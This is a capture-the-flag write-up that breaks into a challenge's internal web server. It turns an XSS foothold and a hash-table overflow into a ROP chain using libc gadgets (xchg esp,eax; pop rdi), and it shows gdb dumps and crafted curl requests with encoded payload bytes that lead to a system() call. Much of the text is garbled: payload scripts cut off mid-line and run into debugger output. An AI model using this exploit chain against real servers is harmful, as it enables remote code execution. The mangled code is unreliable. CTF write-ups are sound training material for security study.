We are trying to break into eXtreme Secure Solutions, where The Plague works as a system adminstrator. We have found that their internal company login page is at http://portal.essolutions.largestctf.com/. Recon has also revealed that The Plague likes to browse this site during work hours: http://54.196.225.30/ using the username ponyboy2004. Remember, our main target is to break into the company portal, *not* the pony site. Task text for part 2: This challenge has one more flag. Break into the internal server to capture it! Reminder: For security reasons, all internet traffic is blocked on the Bigson (http://bigson.essolutions.largestctf.com/index?file=index.html) The difficulty of part 2 is that the **Bigson** cannot be accessed remotely so we need to do it via the previous XSS mechanism: $ host-woods bigson.essolutions.largestctf.com bigson.essolutions.largestctf.com A 10.15.0.5 To get back information we will reuse what is on the otp site: AJAX. Let's do the exact query on the site and send the output to ourselves. We first need to get over the 127 character limitation in the argv[0] xss exploit. As the encoded payload we modify the following in **create_xss_external.py**: #s = """""" % YOUR_IP s = """ 0x0 RBX: 0x60fb40 --> 0x7ffff7dda3f8 --> 0x0 RCX: 0x7ffff75b85c0 --> 0x0 RDX: 0xc ('\x0c') RSI: 0x60fad8 ("TESTINGPARAM") RDI: 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp) RBP: 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 RSP: 0x7fffffffd180 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 RIP: 0x4032d4 (<_ZN9HashTable6InsertERKSsS1_+116>: mov rdx,QWORD PTR [rax+rdx*8+0x8]) R8 : 0x0 R9 : 0x0 R10: 0x7fffffffcf00 --> 0x0 R11: 0x7ffff7b907d0 (<_ZNKSs5c_strEv>: mov rax,QWORD PTR [rdi]) R12: 0x401ff0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdd00 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4032c8 <_ZN9HashTable6InsertERKSsS1_+104>: mov QWORD PTR [rbp-0x20],rax 0x4032cc <_ZN9HashTable6InsertERKSsS1_+108>: mov rax,QWORD PTR [rbp-0x28] 0x4032d0 <_ZN9HashTable6InsertERKSsS1_+112>: mov rdx,QWORD PTR [rbp-0x20] => 0x4032d4 <_ZN9HashTable6InsertERKSsS1_+116>: mov rdx,QWORD PTR [rax+rdx*8+0x8] 0x4032d9 <_ZN9HashTable6InsertERKSsS1_+121>: mov rax,QWORD PTR [rbp-0x18] 0x4032dd <_ZN9HashTable6InsertERKSsS1_+125>: mov QWORD PTR [rax+0x10],rdx 0x4032e1 <_ZN9HashTable6InsertERKSsS1_+129>: mov rax,QWORD PTR [rbp-0x28] 0x4032e5 <_ZN9HashTable6InsertERKSsS1_+133>: mov rdx,QWORD PTR [rbp-0x20] [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd180 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0008| 0x7fffffffd188 --> 0x7fffffffd1e0 --> 0x60fb18 ("TESTINGVALUE") 0016| 0x7fffffffd190 --> 0x7fffffffd1f0 --> 0x60fad8 ("TESTINGPARAM") 0024| 0x7fffffffd198 --> 0x7fffffffd350 --> 0x0 0032| 0x7fffffffd1a0 --> 0xc ('\x0c') 0040| 0x7fffffffd1a8 --> 0x60fb40 --> 0x7ffff7dda3f8 --> 0x0 0048| 0x7fffffffd1b0 --> 0x0 0056| 0x7fffffffd1b8 --> 0x401ff0 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x00000000004032d4 in HashTable::Insert(std::string const&, std::string const&) () gdb-peda$ telescope $rax 300 0000| 0x7fffffffd350 --> 0x0 0008| 0x7fffffffd358 --> 0x0 0016| 0x7fffffffd360 --> 0x0 0024| 0x7fffffffd368 --> 0x0 0032| 0x7fffffffd370 --> 0x0 0040| 0x7fffffffd378 --> 0x0 0048| 0x7fffffffd380 --> 0x0 0056| 0x7fffffffd388 --> 0x0 0064| 0x7fffffffd390 --> 0x0 0072| 0x7fffffffd398 --> 0x0 0080| 0x7fffffffd3a0 --> 0x0 0088| 0x7fffffffd3a8 --> 0x0 0096| 0x7fffffffd3b0 --> 0x0 0104| 0x7fffffffd3b8 --> 0x0 0112| 0x7fffffffd3c0 --> 0x0 0120| 0x7fffffffd3c8 --> 0x0 0128| 0x7fffffffd3d0 --> 0x0 0136| 0x7fffffffd3d8 --> 0x0 0144| 0x7fffffffd3e0 --> 0x0 ......................................................... 2000| 0x7fffffffdb20 --> 0x0 2008| 0x7fffffffdb28 --> 0x0 2016| 0x7fffffffdb30 --> 0x0 2024| 0x7fffffffdb38 --> 0x0 2032| 0x7fffffffdb40 --> 0x0 2040| 0x7fffffffdb48 --> 0x0 2048| 0x7fffffffdb50 --> 0x0 2056| 0x7fffffffdb58 --> 0x0 2064| 0x7fffffffdb60 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp) 2072| 0x7fffffffdb68 --> 0x7ffff72d1d83 (: cmp rax,0xfffffffffffff000) 2080| 0x7fffffffdb70 --> 0xffffffffffffff88 2088| 0x7fffffffdb78 --> 0x0 2096| 0x7fffffffdb80 --> 0x3eb 2104| 0x7fffffffdb88 --> 0x3 2112| 0x7fffffffdb90 --> 0x0 2120| 0x7fffffffdb98 --> 0x0 2128| 0x7fffffffdba0 --> 0x18 2136| 0x7fffffffdba8 --> 0x0 2144| 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 2152| 0x7fffffffdbb8 --> 0x402d12 (<_Z6handlei+26>: leave) 2160| 0x7fffffffdbc0 --> 0x7ffff7fb4740 (0x00007ffff7fb4740) 2168| 0x7fffffffdbc8 --> 0xaf75baec0 2176| 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 2184| 0x7fffffffdbd8 --> 0x402f1e (: mov eax,DWORD PTR [rbp-0x8]) The **push rbp** instruction seems interesting as that's the beginning of function prologues. Demangling the name gives us: "PHPHash::~PHPHash()". Maybe we can overwrite it somehow. We first check what gets written by our initial query by doing some more steps and dumping the memory: gdb-peda$ telescope 0x7fffffffd350 20 0000| 0x7fffffffd350 --> 0x1 0008| 0x7fffffffd358 --> 0x0 0016| 0x7fffffffd360 --> 0x0 0024| 0x7fffffffd368 --> 0x0 0032| 0x7fffffffd370 --> 0x0 0040| 0x7fffffffd378 --> 0x0 0048| 0x7fffffffd380 --> 0x0 0056| 0x7fffffffd388 --> 0x0 0064| 0x7fffffffd390 --> 0x0 0072| 0x7fffffffd398 --> 0x0 0080| 0x7fffffffd3a0 --> 0x0 0088| 0x7fffffffd3a8 --> 0x0 0096| 0x7fffffffd3b0 --> 0x0 0104| 0x7fffffffd3b8 --> 0x60fb40 --> 0x60fb18 ("TESTINGVALUE") Thus we have 0104| 0x7fffffffd3b8 --> 0x60fb40 --> 0x60fb18 ("TESTINGVALUE") versus 2064| 0x7fffffffdb60 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp) The indirection levels seem to be equal. Let's try and force a segmentation fault at 44434241 using ABCD. First we find out where the call is made from by setting a breakpoint on 0x403126. The location is 0x00000000004034ce <+120>: call r12 $ curl 127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=ABCD $ dmesg | tail -1 [Apr19 20:01] bigson_fork_nol[26239]: segfault at 1 ip 0000000000000001 sp 00007fffffffcf88 error 14 in bigson_fork_nolocal[400000+b000] It doesn't seem to be working. We set a breakpoint right before r12 is set. gdb-peda$ [----------------------------------registers-----------------------------------] RAX: 0x60fd78 --> 0x6161610044434241 ('ABCD') RBX: 0x60fbd0 --> 0x60fd78 --> 0x6161610044434241 ('ABCD') RCX: 0x60fc08 --> 0x61616100656c6966 ('file') RDX: 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file') RSI: 0x0 RDI: 0x7fffffffdb60 --> 0x60fbd0 --> 0x60fd78 --> 0x6161610044434241 ('ABCD') RBP: 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 RSP: 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file') RIP: 0x4034b5 (<_ZNK9HashTable4HashERKSs+95>: add rax,0x18) R8 : 0x2710 R9 : 0x0 R10: 0x7ffff75b8618 --> 0x610290 --> 0x0 R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670 R12: 0x401ff0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdd00 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4034aa <_ZNK9HashTable4HashERKSs+84>: call 0x404610 <_ZNKSt10unique_ptrI12HashFunctionSt14default_deleteIS0_EEdeEv> 0x4034af <_ZNK9HashTable4HashERKSs+89>: mov rbx,rax 0x4034b2 <_ZNK9HashTable4HashERKSs+92>: mov rax,QWORD PTR [rbx] => 0x4034b5 <_ZNK9HashTable4HashERKSs+95>: add rax,0x18 0x4034b9 <_ZNK9HashTable4HashERKSs+99>: mov r12,QWORD PTR [rax] 0x4034bc <_ZNK9HashTable4HashERKSs+102>: mov rax,QWORD PTR [rbp-0x20] 0x4034c0 <_ZNK9HashTable4HashERKSs+106>: mov rdi,rax 0x4034c3 <_ZNK9HashTable4HashERKSs+109>: call 0x401bb0 <_ZNKSs5c_strEv@plt> [------------------------------------stack-------------------------------------] 0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file') 0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1 0016| 0x7fffffffcfa0 --> 0x0 0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>: xor ebp,ebp) 0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax) 0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file') 0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00000000004034b5 in HashTable::Hash(std::string const&) const () gdb-peda$ hexdump $rax /4 0x0060fd78 : 41 42 43 44 00 61 61 61 00 00 00 00 00 00 00 00 ABCD.aaa........ 0x0060fd88 : 41 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 A............... 0x0060fd98 : b8 d2 ff ff ff 7f 00 00 00 00 00 00 00 00 00 00 ................ 0x0060fda8 : 00 00 00 00 00 00 00 00 48 fd 60 00 00 00 00 00 ........H.`..... Okay. The value needs to be longer. We do a standard pattern create+send+search to figure it out effortlessly: gdb-peda$ pattc 0x32 'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA' ............ $ curl 127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA ..................... gdb-peda$ Stopped reason: SIGSEGV 0x00000000004034ce in HashTable::Hash(std::string const&) const () gdb-peda$ patts r12 Registers contain pattern buffer: R12+0 found at offset: 24 As expected, the dereferencing is done at 0x18 = 24. We now control RIP. == Finding a useful gadget == Since the binary has NX enabled we can't insert a shellcode and jump to it. We need to do a ROP attack using only one gadget. For this we also need to find out what we have on the stack and in the registers. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled Program received signal SIGSEGV, Segmentation fault. [Switching to process 26521] [----------------------------------registers-----------------------------------] RAX: 0x60fc38 --> 0x61616100656c6966 ('file') RBX: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD") RCX: 0x60fc38 --> 0x61616100656c6966 ('file') RDX: 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') RSI: 0x60fc38 --> 0x61616100656c6966 ('file') RDI: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD") RBP: 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 RSP: 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') RIP: 0x4034ce (<_ZNK9HashTable4HashERKSs+120>: call r12) R8 : 0x2710 R9 : 0x0 R10: 0x7ffff75b8618 --> 0x6102d0 --> 0x0 R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670 R12: 0x6161610044434241 ('ABCD') R13: 0x7fffffffdd00 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4034c3 <_ZNK9HashTable4HashERKSs+109>: call 0x401bb0 <_ZNKSs5c_strEv@plt> 0x4034c8 <_ZNK9HashTable4HashERKSs+114>: mov rsi,rax 0x4034cb <_ZNK9HashTable4HashERKSs+117>: mov rdi,rbx => 0x4034ce <_ZNK9HashTable4HashERKSs+120>: call r12 0x4034d1 <_ZNK9HashTable4HashERKSs+123>: add rsp,0x10 0x4034d5 <_ZNK9HashTable4HashERKSs+127>: pop rbx 0x4034d6 <_ZNK9HashTable4HashERKSs+128>: pop r12 0x4034d8 <_ZNK9HashTable4HashERKSs+130>: pop rbp Guessed arguments: arg[0]: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD") arg[1]: 0x60fc38 --> 0x61616100656c6966 ('file') [------------------------------------stack-------------------------------------] 0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') 0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1 0016| 0x7fffffffcfa0 --> 0x0 0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>: xor ebp,ebp) 0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax) 0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') 0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004034ce in HashTable::Hash(std::string const&) const () gdb-peda$ context stack 100 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') 0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1 0016| 0x7fffffffcfa0 --> 0x0 0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>: xor ebp,ebp) 0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax) 0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file') 0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1 0064| 0x7fffffffcfd0 --> 0x0 0072| 0x7fffffffcfd8 --> 0x7fffffffd2f0 --> 0x60e730 --> 0x646e692f00544547 ('GET') 0080| 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0088| 0x7fffffffcfe8 --> 0x4028e7 (<_Z12IndexHandlerRKSsRK11HttpRequestP12HttpResponse+268>: mov QWORD PTR [rbp-0x18],rax) 0096| 0x7fffffffcff0 --> 0x24ab43c8 0104| 0x7fffffffcff8 --> 0x7fffffffd2a0 --> 0xc8 0112| 0x7fffffffd000 --> 0x7fffffffd2f0 --> 0x60e730 --> 0x646e692f00544547 ('GET') 0120| 0x7fffffffd008 --> 0x7fffffffd308 --> 0x60faa8 --> 0x7865646e692f ('/index') 0128| 0x7fffffffd010 --> 0xffffffff 0136| 0x7fffffffd018 --> 0x7ffff7ffa678 --> 0x7ffff7ad3000 --> 0x10102464c457f 0144| 0x7fffffffd020 --> 0x7ffff7ae05f0 --> 0xc002200024046 0152| 0x7fffffffd028 --> 0x7ffff7ffa678 --> 0x7ffff7ad3000 --> 0x10102464c457f 0160| 0x7fffffffd030 --> 0xffffffff 0168| 0x7fffffffd038 --> 0x7ffff7fb6030 --> 0x7ffff7b1b1a8 ("GLIBCXX_3.4") 0176| 0x7fffffffd040 --> 0x250 0184| 0x7fffffffd048 --> 0x1 0192| 0x7fffffffd050 --> 0x0 0200| 0x7fffffffd058 --> 0x7ffff7ffa9d0 --> 0x7ffff7ffe440 --> 0x7ffff7fb7af0 --> 0x7ffff7ffe188 --> 0x0 0208| 0x7fffffffd060 --> 0x661b4bde 0216| 0x7fffffffd068 --> 0x7ffff7ffe4e0 --> 0x7ffff7ffe440 --> 0x7ffff7fb7af0 --> 0x7ffff7ffe188 --> 0x0 0224| 0x7fffffffd070 --> 0x687d56c0 0232| 0x7fffffffd078 --> 0x7fffffffdb60 --> 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD") 0240| 0x7fffffffd080 --> 0x7fffffffd0a0 --> 0x0 0248| 0x7fffffffd088 --> 0x60b280 --> 0x7ffff7b907d0 (<_ZNKSs5c_strEv>: mov rax,QWORD PTR [rdi]) 0256| 0x7fffffffd090 --> 0x0 0264| 0x7fffffffd098 --> 0x7fffffffdd00 --> 0x1 0272| 0x7fffffffd0a0 --> 0x0 0280| 0x7fffffffd0a8 --> 0x0 0288| 0x7fffffffd0b0 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0296| 0x7fffffffd0b8 --> 0x7ffff7de8f35 (<_dl_fixup+245>: mov rbp,rax) 0304| 0x7fffffffd0c0 --> 0x7fff00000001 0312| 0x7fffffffd0c8 --> 0x0 0320| 0x7fffffffd0d0 --> 0x0 0328| 0x7fffffffd0d8 --> 0x7ffff7ae05f0 --> 0xc002200024046 0336| 0x7fffffffd0e0 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp) 0344| 0x7fffffffd0e8 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0352| 0x7fffffffd0f0 --> 0x40319a (<_ZN7PHPHashclEPKc>: push rbp) 0360| 0x7fffffffd0f8 --> 0x7ffff7def445 (<_dl_runtime_resolve+53>: mov r11,rax) 0368| 0x7fffffffd100 --> 0x7fffffffd1f0 --> 0x0 0376| 0x7fffffffd108 --> 0x7ffff75b85c0 --> 0x0 0384| 0x7fffffffd110 --> 0x7fffffffd1f0 --> 0x0 0392| 0x7fffffffd118 --> 0x0 0400| 0x7fffffffd120 --> 0x6101c9 --> 0x0 0408| 0x7fffffffd128 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp) 0416| 0x7fffffffd130 --> 0x0 0424| 0x7fffffffd138 --> 0x101 0432| 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0440| 0x7fffffffd148 --> 0x4034d1 (<_ZNK9HashTable4HashERKSs+123>: add rsp,0x10) 0448| 0x7fffffffd150 --> 0x7fffffffd1f0 --> 0x0 0456| 0x7fffffffd158 --> 0x7fffffffd350 --> 0x1 0464| 0x7fffffffd160 --> 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD") ....... Unfortunately, it seems that an "add rsp, ... ; ret" gadget isn't going to cut it. After some failed attempts to exploit it in this way I had another idea: let's add another parameter to the request: $ curl "127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=AAAaAA0AABAAbAA1AACAAcAAABCD&TESTINGPARAM=TESTINGVALUE" gdb-peda$ contin Continuing. [----------------------------------registers-----------------------------------] RAX: 0x60fd78 ("TESTINGPARAM") RBX: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD") RCX: 0x7fffffffd350 --> 0x1 RDX: 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM") RSI: 0x60fd78 ("TESTINGPARAM") RDI: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD") RBP: 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 RSP: 0x7fffffffd120 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM") RIP: 0x4034ce (<_ZNK9HashTable4HashERKSs+120>: call r12) R8 : 0x0 R9 : 0x0 R10: 0x7ffff75b8618 --> 0x610300 --> 0x0 R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670 R12: 0x6161610044434241 ('ABCD') R13: 0x7fffffffdd00 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4034c3 <_ZNK9HashTable4HashERKSs+109>: call 0x401bb0 <_ZNKSs5c_strEv@plt> 0x4034c8 <_ZNK9HashTable4HashERKSs+114>: mov rsi,rax 0x4034cb <_ZNK9HashTable4HashERKSs+117>: mov rdi,rbx => 0x4034ce <_ZNK9HashTable4HashERKSs+120>: call r12 0x4034d1 <_ZNK9HashTable4HashERKSs+123>: add rsp,0x10 0x4034d5 <_ZNK9HashTable4HashERKSs+127>: pop rbx 0x4034d6 <_ZNK9HashTable4HashERKSs+128>: pop r12 0x4034d8 <_ZNK9HashTable4HashERKSs+130>: pop rbp Guessed arguments: arg[0]: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD") arg[1]: 0x60fd78 ("TESTINGPARAM") [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd120 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM") 0008| 0x7fffffffd128 --> 0x7fffffffd350 --> 0x1 0016| 0x7fffffffd130 --> 0x0 0024| 0x7fffffffd138 --> 0x401ff0 (<_start>: xor ebp,ebp) 0032| 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0 0040| 0x7fffffffd148 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax) 0048| 0x7fffffffd150 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM") 0056| 0x7fffffffd158 --> 0x7fffffffd350 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x00000000004034ce in HashTable::Hash(std::string const&) const () gdb-peda$ This is much much better. We can use an "xchg esp, eax" gadget from libc to pivot the stack (as the heap address fits inside 4 bytes: 0x60fd78) and add any ROP chain we want. [-------------------------------------code-------------------------------------] => 0x7ffff731e585 : ret 0x7ffff731e586 : lea rsi,[r12+0x48] 0x7ffff731e58b : lea rdi,[r12+0x40] 0x7ffff731e590 : call 0x7ffff731de40 [------------------------------------stack-------------------------------------] 0000| 0x60fd78 ("TESTINGPARAM") 0008| 0x60fd80 --> 0x314141004d415241 ('ARAM') 0016| 0x60fd88 ("AACAAcAAABCD") 0024| 0x60fd90 --> 0x44434241 ('ABCD') 0032| 0x60fd98 --> 0x31 ('1') 0040| 0x60fda0 --> 0x60fc40 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp) 0048| 0x60fda8 --> 0x4 0056| 0x60fdb0 --> 0xffffffff [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00007ffff731e585 in innetgr () from /lib64/libc.so.6 gdb-peda$ hexdump $rsp /5 0x0060fd78 : 54 45 53 54 49 4e 47 50 41 52 41 4d 00 41 41 31 TESTINGPARAM.AA1 0x0060fd88 : 41 41 43 41 41 63 41 41 41 42 43 44 00 00 00 00 AACAAcAAABCD.... 0x0060fd98 : 31 00 00 00 00 00 00 00 40 fc 60 00 00 00 00 00 1.......@.`..... 0x0060fda8 : 04 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 ................ 0x0060fdb8 : 54 45 53 54 00 4e 47 50 41 52 41 4d 00 00 00 00 TEST.NGPARAM.... == Local exploitation == The gadgets I found useful from libc were: 0x2adb7 : xchg esp,eax 0x2adb8 : ret 0x1055a0 : mov rdi,rsp 0x1055a3 : call rdx 0x1b8a: pop rdx 0x1b8b: ret 0x2024b: pop rdi 0x2024c: ret To test locally I like to use the sleep function for 0x10 seconds. We leverage the fact that urldecode is applied on the parameter names and values when sending payload bytes. cmd += quote_string( struct.pack(" $ time python /tmp/writeup/testsleep.py 7ffff7214000 curl "127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00&%D8%9E%23%F7%FF%7F%00%00%10%00%00%00%00%00%00%00%00%0C%2D%F7%FF%7F%00%00=TESTINGVALUE" curl: (52) Empty reply from server real 0m16.004s user 0m0.001s sys 0m0.001s By modifying the exploit script to call **system()** we should get the result back on to the socket: cmd += quote_string( struct.pack("&10 ; exit;""") $ python /tmp/writeup.py 7ffff7214000 curl 